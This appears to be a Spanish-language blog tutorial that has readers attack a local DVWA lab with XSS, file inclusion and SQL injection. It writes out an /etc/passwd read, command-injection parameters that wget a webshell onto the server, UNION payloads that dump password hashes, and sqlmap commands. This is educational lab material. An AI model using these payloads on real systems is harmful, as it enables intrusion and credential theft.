Los ataques a aplicaciones web han crecido tanto que al día de hoy es difícil encontrar una empresa que no tenga presencia en internet por medio de un sitio web. Sin contar que muchas veces delegan aplicaciones en ese mismo hosting como webmail, intranet, erp, entre otras tantas.
Es por esto que veremos la esencia de los ataques a las principales vulnerabilidades web, ya que posible tomar el control total del servidor aprovechándose de un error en el sql por ejemplo.
Es casi obligatorio, cuando hablamos de vulnerabilidades web, mencionar el top 10 de OWASP, para los que no lo conocen, es casi tarea ineludible adentrarse en el mundo de owasp.
Para los ejercicios que llevaremos a cabo en ésta entrada, en necesario que se bajen dvwa, ya que es el entorno al cual atacaremos y las explotaciones serán sencillas.
1- Inicializamos el servicio de apache
service apache2 start
2- Nos movemos al /var/www de descargamos un script que descarga e instala el dvwa
cd /var/www && wget url (www.m9development.com/wp-content/uploads/2015/03/install\_dvwa.sh\_.txt)
3- Modificamos nombre del archivo y los permisos del archivo
mv install\_dvwa.sh\_.txt dvwa.sh && chmod 755 dvwa.sh
4- Por último ejecutamos con ./NombreDelScript
Una vez que termine de correr el script se abrirá el browser que tengan por defecto con la url 127.0.0.1/login.php, para loguearse las credenciales son admin-password
Ahora vamos al browser, nos logueamos en el dvwa, vamos a DVWA Security y ponemos el lvl de seguridad en low.
Bien, ya tenemos armado y configurado el entorno que utilizaremos para las pruebas.
Esquema:
13- Web Applications Fundamentals Attacks.
13.1 XSS
13.2 File inclusion
13.3 SQLi
XSS
Los ataques a la vulnerabilidad de cross site scripting es consecuencia de de la no sanitización de los caracteres que se puede ingresar en un formulario web. Un ataque de éste tipo no afecta directamente el servidor, pero puede ser el medio para lograr impactos significativos sobre el mismo, al punto tal de obtener acceso a la sesión o redirigir e infectar a los usuarios que visiten el sitio comprometido.
Probemos entonces que sucede en un xss de tipo reflejado.
1- Vamos XSS reflected.
2- En el campo que nos permite ingresar nuestro ‘nombre’ colocamos el siguiente js
Ahora, quisiera que prueben la misma prueba de concepto sobre el stored y comenten las diferencias.
¿Qué pasa si en lugar del simple alert ingresamos un js un poco más complejo que obtenga las cookies y ponemos un handler o nc escuchando al puerto del webserver?
File Inclusion
Los ataques de file inclusion pueden darse en dos variantes, de manera interna y externa, la diferencia entre ambos radica en que en el segundo (RFI) tenemos disponible la posibilidad de incluir archivos que estén alojados fuera del server comprometido y en el primero (LFI) sólo podemos hacer uso de los recursos internos.
Probemos un LFI, en el dvwa vamos a file inclusion y por url pasémosle un /etc/passwd
Ya obtuvimos credenciales. ¿Que podríamos hacer con ellas? ¿Y si pasamos el siguiente parámetro por url?
data:,&cmd=ls -l /var/www
data:,&cmd=wget http://url/shell -O /var/www/shell.php
Para este ejemplo pasamos por url el siguiente parámetro.
data:,&cmd=wget http://127.0.01/shell.txt -O /var/www/shell.php
El remote file inclusion nos da la posibilidad de traer un archivo externo, frente a ésto, en lugar de llamar al /etc/passwd podemos llamar directamente a la shell que tengamos alojada en algun lado.
1- Vamos a File inclusion y analizamos que la url después del ? tiene un page=.
2- Descargamos una webshell, por ejemplo la b374k de github y la alojamos en nuestro /var/www guardada con la extensión .txt.
3- Ahora borramos el include.php y pasamos la url de nuestra shell, nos logueamos y estamos dentro.
SQLi
Esta vulnerabilidad consiste en inyectar código SQL invasor dentro del código SQL programado con el objetivo de alterar la funcionalidad del programa.
Podemos descubrirlas por url ingresando una comilla o una coma al final del parámetro.
Entonces veamos manualmente que es lo que podemos obtener. Tener en cuenta que si lo pasamos por url vamos a tener que poner ‘+’ en los espacios y los caracteres como ‘=’ o ‘,’ deben ir en hex.
1’ and 1=1 union select database(), user() #
1’ and 1=1 union select null, table_name from information_schema.tables#
De aquí lo que nos interesa es lograr identificar donde se guardan los usuarios y contraseñas.
Dumpeamos entonces users y pass
1’ and 1=1 union select user, password from users#
Solo queda deshashear los md5 de las pass y ya tenemos acceso.
En kali, tenemos una tool para automatizar esta tarea que se llama sqlmap
./sqlmap.py –u “Url del target.com/archivo.php?=parametro” –dbs
–u establece la url objetivo.
–dbs busca la db del target.
./sqlmap.py –u “Url del target.com/archivo.php?=parametro” –D ddbb –tables
–D nombre de la db a analizar.
--tables muestra las tablas de la db
Dumpeamos el contenido de la tabla que deseamos.
./sqlmap.py –u “Url del target.com/archivo.php?=parametro” -D ddbb –tables -T tabla –columns
–T nombre de la tabla a analizar.
-- columns muestra las columnas de las tablas escogidas.
Los ejemplos expuestos, son apenas una introducción sobre la técnica de explotación de vulnerabilidades web, además de que existen muchas otras. Sucede que para explicar detalladamente cada una llevaría mucho más que un solo post. Les recomiendo que miren las entradas de sniferl4bs sobre burp, en ellos están excelentemente explicadas las gran mayoría de las vulnerabilidades web, explotadas todas con una sola tool presente en kali linux.
Por ejemplo:
BurpSuite Cross Site Scripting
BurpSuite pequeña navaja Alemana
Como siempre, cualquier duda o consulta, estamos por aquí.
Regards, @BalderramaEric
